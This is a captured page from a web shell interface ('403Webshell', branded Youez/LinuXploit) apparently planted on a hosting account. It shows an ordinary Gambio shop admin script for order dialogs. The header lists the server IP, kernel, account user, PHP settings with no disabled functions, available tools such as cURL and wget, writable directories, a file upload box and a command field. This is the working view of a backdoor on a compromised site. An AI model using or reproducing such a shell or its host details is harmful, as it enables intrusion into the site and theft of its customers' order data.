403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/admin/javascript/engine/compatibility/orders/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/admin/javascript/engine/compatibility/orders/orders_modal_layer.js
/* --------------------------------------------------------------
 orders_modal_layer.js 2016-03-16
 Gambio GmbH
 http://www.gambio.de
 Copyright (c) 2016 Gambio GmbH
 Released under the GNU General Public License (Version 2)
 [http://www.gnu.org/licenses/gpl-2.0.html]
 --------------------------------------------------------------
 */

/**
 * ## Orders Modal Layer Module
 *
 * This module will open a modal layer for order actions like deleting or changing the oder status.
 *
 * @module Compatibility/orders_modal_layer
 */
gx.compatibility.module(
    'orders_modal_layer',

    ['xhr', 'fallback'],

    /**  @lends module:Compatibility/orders_modal_layer */

    function (data) {

        'use strict';

        // ------------------------------------------------------------------------
        // VARIABLES DEFINITION
        // ------------------------------------------------------------------------

        var
            /**
             * Module Selector
             *
             * @var {object}
             */
            $this = $(this),

            /**
             * Modal Selector
             *
             * @type {object}
             */
            $modal = $('#modal_layer_container'),

            /**
             * Checkboxes Selector
             *
             * @type {object}
             */
            $checkboxes = $('.gx-orders-table tr:not(.dataTableHeadingRow) input'),

            /**
             * Default Options
             *
             * @type {object}
             */
            defaults = {
                detail_page: false,
                comment: ''
            },

            /**
             * Final Options
             *
             * @var {object}
             */
            options = $.extend(true, {}, defaults, data),

            /**
             * Module Object
             *
             * @type {object}
             */
            module = {};

        // ------------------------------------------------------------------------
        // PRIVATE FUNCTIONS
        // ------------------------------------------------------------------------

        var _openDeleteDialog = function (event) {

            var $form = $('#delete_confirm_form');
            $form.attr('action', $form.attr('action') + '&oID=' + $this.data('order_id'));

            event.preventDefault();

            var title = jse.core.lang.translate('TEXT_INFO_HEADING_DELETE_ORDER', 'orders')
                .replace('%s', $this.data('order_id'));

            $form.dialog({
                'title': title,
                'modal': true,
                'dialogClass': 'gx-container',
                'buttons': _getModalButtons($form),
                'width': 420
            });

        };

        var _openTrackingCodeDeleteDialog = function (event) {
            var $form = $('#delete_tracking_code_confirm_form');
            var data_set = jse.libs.fallback._data($(this), 'orders_modal_layer');
            $form.dialog({
                'title': jse.core.lang.translate('TXT_PARCEL_TRACKING_DELETE_BUTTON', 'parcel_services')
                    .replace(
                        '%s', data_set.tracking_code),
                'modal': true,
                'dialogClass': 'gx-container',
                'buttons': [
                    {
                        'text': jse.core.lang.translate('close', 'buttons'),
                        'class': 'btn',
                        'click': function () {
                            $(this).dialog('close');
                        }
                    },
                    {
                        'text': jse.core.lang.translate('delete', 'buttons'),
                        'class': 'btn btn-primary',
                        'click': function () {
                            $(this).dialog('close');

                            var url = 'request_port.php?module=ParcelServices&action=delete_tracking_code';

                            jse.libs.xhr.post({
                                'url': url,
                                'data': {
                                    'tracking_code_id': data_set.tracking_code_id,
                                    'order_id': data_set.order_id,
                                    'page_token': data_set.page_token
                                }
                            }).done(function (response) {
                                $('#tracking_code_wrapper > .frame-content > table').html(response.html);
                            });
                        }
                    }
                ],
                'width': 420
            });

        };

        var _openMultiDeleteDialog = function (event) {

            var $form = $('#multi_delete_confirm_form'),
                orderId = 0;

            event.preventDefault();

            if ($checkboxes.filter(':checked').length === 0) {
                return false;
            }

            _readSelectedOrders($form);

            $form.attr('action', $form.attr('action') + '&oID=' + $this.data('order_id'));

            $form.dialog({
                'title': jse.core.lang.translate('TEXT_INFO_HEADING_MULTI_DELETE_ORDER', 'orders')
                    .replace('%s',
                        $this.data('order_id')),
                'modal': true,
                'dialogClass': 'gx-container',
                'buttons': _getModalButtons($form),
                'width': 420
            });
        };

        var _openMultiCancelDialog = function (event) {
            var $form = $('#multi_cancel_confirm_form');
            event.preventDefault();

            if (options.detail_page) {
                // Orders detail page
                $form.append('<input type="hidden" name="gm_multi_status[]" value="' + options.order_id +
                    '" />');
                $form.find('.selected_orders').text(options.order_id);
                $form.find('textarea[name="gm_comments"]').html(options.comment);
            } else {
                // Orders page
                if ($checkboxes.filter(':checked').length === 0) {
                    return false;
                }
                _readSelectedOrders($form);
            }

            $form.attr('action', $form.attr('action') + '?oID=' + $this.data('order_id') + '&origin=old_orders_overview');

            $form.dialog({
                'title': jse.core.lang.translate('TEXT_INFO_HEADING_MULTI_CANCEL_ORDER', 'orders')
                    .replace('%s',
                        $this.data('order_id')),
                'modal': true,
                'dialogClass': 'gx-container',
                'buttons': _getModalButtons($form),
                'width': 420
            });
        };

        var _openUpdateOrdersStatusDialog = function (event) {
            var $form = $('#update_orders_status_form');

            event.preventDefault();

            if (options.detail_page) {
                // Orders detail page
                $form.append('<input type="hidden" name="gm_multi_status[]" value="' + options.order_id +
                    '" />');
                $form.find('.selected_orders').text(options.order_id);
                $form.find('textarea[name="gm_comments"]').html(options.comment);
            } else {
                // Orders page
                if ($checkboxes.filter(':checked').length === 0) {
                    return false;
                }
                _readSelectedOrders($form);
            }

            $form.dialog({
                'title': jse.core.lang.translate('HEADING_GM_STATUS', 'orders'),
                'modal': true,
                'dialogClass': 'gx-container',
                'buttons': _getModalButtons($form),
                'width': 580
            });
        };

        var _openTrackingCodeDialog = function (event) {

            var $form = $('#add_tracking_code_form');

            event.preventDefault();
            $form.dialog({
                'title': jse.core.lang.translate('TXT_PARCEL_TRACKING_HEADING', 'parcel_services')
                    .replace('%s', $this.data('order_id')),
                'modal': true,
                'dialogClass': 'gx-container',
                'buttons': _getModalButtons($form),
                'width': 420
            });

        };

        var _openEmailInvoiceDialog = function (event) {

            const $modal = $('.email-invoice-modal-body');
            const url = jse.core.config.get('appUrl') + '/admin/admin.php';
            const data = {
                id: options.order_id,
                do: 'OrdersModalsAjax/GetEmailInvoiceSubject',
                pageToken: jse.core.config.get('pageToken')
            };
            let invoiceNumbersHtml = '';

            $('.email-invoice-form').show();
            $('.email-invoice-success').hide();

            if ($modal.find('.message_stack_container').length < 1) {
                $modal.find('.alert').wrap('<div class="message_stack_container"></div>');
            }

            $modal.find('.customer-info').text(`"${options.name}"`);
            $modal.find('.email-address').val(options.email);

            $modal
                .data('orderId', options.order_id);

            $.ajax({url, data, dataType: 'json'}).done((response) => {
                $modal.attr('data-gx-widget', 'single_checkbox');

                $modal.find('.subject').val(response.subject);
                if (response.invoiceIdExists) {
                    $modal.find('.invoice-num-info').addClass('hidden');
                    $modal.find('.no-invoice').removeClass('hidden');
                    $modal.find('.email-invoice-form .message_stack_container').removeClass('hidden');
                } else {
                    $modal.find('.invoice-num-info').removeClass('hidden');
                    $modal.find('.no-invoice').addClass('hidden');
                    $modal.find('.email-invoice-form .message_stack_container').addClass('hidden');
                }

                if (Object.keys(response.invoiceNumbers).length <= 1) {
                    $modal.find('.invoice-numbers').addClass('hidden');
                } else {
                    $modal.find('.invoice-numbers').removeClass('hidden');
                }

                for (let invoiceId in response.invoiceNumbers) {
                    invoiceNumbersHtml +=
                        '<p><input type="checkbox" name="invoice_ids[]" value="' + invoiceId
                        + '" checked="checked" class="invoice-numbers-checkbox" /> '
                        + response.invoiceNumbers[invoiceId] + '</p>';
                }

                $modal.find('.invoice-numbers-checkboxes').html(invoiceNumbersHtml);

                gx.widgets.init($modal);

                $modal.dialog({
                    'title': jse.core.lang.translate('TITLE_INVOICE', 'gm_order_menu'),
                    'modal': true,
                    'dialogClass': 'gx-container',
                    'buttons': _getModalButtons($modal),
                    'width': 600
                });

                $modal.find('.invoice-numbers-checkbox').on('change', function () {
                    _onChangeEmailInvoiceCheckbox($modal)
                });
            });

            event.preventDefault();
        };

        /**
         * On Email Invoice Checkbox Change
         *
         * Disable send button if all invoice number checkboxes are unchecked. Otherwise enable the send button again.
         */
        var _onChangeEmailInvoiceCheckbox = function ($modal) {
            if ($modal.find('.invoice-numbers-checkbox').length > 0) {
                if ($modal.find('.invoice-numbers-checkbox:checked').length > 0) {
                    $('.btn-send-invoice-mail').prop('disabled', false);
                } else {
                    $('.btn-send-invoice-mail').prop('disabled', true);
                }
            } else {
                $('.btn-send-invoice-mail').prop('disabled', false);
            }
        };

        var _getModalButtons = function ($form) {
            var buttons = [
                {
                    'text': jse.core.lang.translate('close', 'buttons'),
                    'class': 'btn',
                    'click': function () {
                        $(this).dialog('close');
                    }
                }
            ];
            switch (options.action) {
                case 'delete':
                case 'multi_delete':
                    buttons.push({
                        'text': jse.core.lang.translate('delete', 'buttons'),
                        'class': 'btn btn-primary',
                        'click': function () {
                            $form.submit();
                        }
                    });
                    break;
                case 'add_tracking_code':
                    buttons.push({
                        'text': jse.core.lang.translate('add', 'buttons'),
                        'class': 'btn btn-primary',
                        'click': function (event) {
                            _addTrackingCodeFromOverview(event);
                        }
                    });
                    break;
                case 'update_orders_status':
                    buttons.push({
                        'text': jse.core.lang.translate('execute', 'buttons'),
                        'class': 'btn btn-primary',
                        'click': function (event) {
                            $form.submit();
                        }
                    });
                    break;
                case 'multi_cancel':
                    buttons.push({
                        'text': jse.core.lang.translate('send', 'buttons'),
                        'class': 'btn btn-primary',
                        'click': function (event) {
                            //event.preventDefault();
                            //gm_cancel('gm_send_order.php', '&type=cancel', 'CANCEL');
                            $form.submit();
                        }
                    });
                    break;
                case 'email_invoice':
                    buttons.push({
                        'text': jse.core.lang.translate('send', 'buttons'),
                        'class': 'btn btn-primary btn-send-invoice-mail',
                        'click': function (event) {
                            event.preventDefault();

                            var url = 'gm_pdf_order.php?oID=' + $form.data('orderId')
                                + '&type=invoice&mail=1&gm_quick_mail=1';
                            var data = $form.find('form').serialize();

                            $.ajax({url, data, type: 'POST', dataType: 'html'}).done((response) => {
                                $('.email-invoice-form').hide();
                                $('.email-invoice-success').show();

                                $('.btn-send-invoice-mail').hide();
                            });
                        }
                    });
            }

            return buttons;
        };

        var _addTrackingCodeFromOverview = function (event) {
            event.stopPropagation();

            var tracking_code = $('#parcel_service_tracking_code').val();
            if (tracking_code === '') {
                return false;
            }

            $.ajax({
                'type': 'POST',
                'url': 'request_port.php?module=ParcelServices&action=add_tracking_code',
                'timeout': 30000,
                'dataType': 'json',
                'context': this,
                'data': {

                    'tracking_code': tracking_code,
                    'service_id': $('#parcel_services_dropdown option:selected').val(),
                    'order_id': $this.data('order_id'),
                    'page_token': $('.page_token').val()
                },
                done: function () {
                    document.location.reload();
                }
            });

            return false;
        };

        var _readSelectedOrders = function ($form) {
            var orderIds = [];

            $checkboxes.filter(':checked').each(function () {
                $form.append('<input type="hidden" name="gm_multi_status[]" value="' + $(this).val() +
                    '" />');

                orderIds.push($(this).val());
            });

            $form.find('.selected_orders').text(orderIds.join(', '));
        };

        // ------------------------------------------------------------------------
        // INITIALIZATION
        // ------------------------------------------------------------------------

        module.init = function (done) {
            switch (options.action) {
                case 'delete':
                    $this.on('click', _openDeleteDialog);
                    break;
                case 'multi_delete':
                    $this.on('click', _openMultiDeleteDialog);
                    break;
                case 'add_tracking_code':
                    $this.on('click', _openTrackingCodeDialog);
                    break;
                case 'update_orders_status':
                    $this.on('click', _openUpdateOrdersStatusDialog);
                    break;
                case 'multi_cancel':
                    $this.on('click', _openMultiCancelDialog);
                    break;
                case 'email_invoice':
                    $this.on('click', _openEmailInvoiceDialog);
                    break;
            }

            if (options.container === 'tracking_code_wrapper') {
                $this.on('click', '.btn-delete', _openTrackingCodeDeleteDialog);
            }

            done();
        };

        return module;
    });

Youez - 2016 - github.com/yon3zu
LinuXploit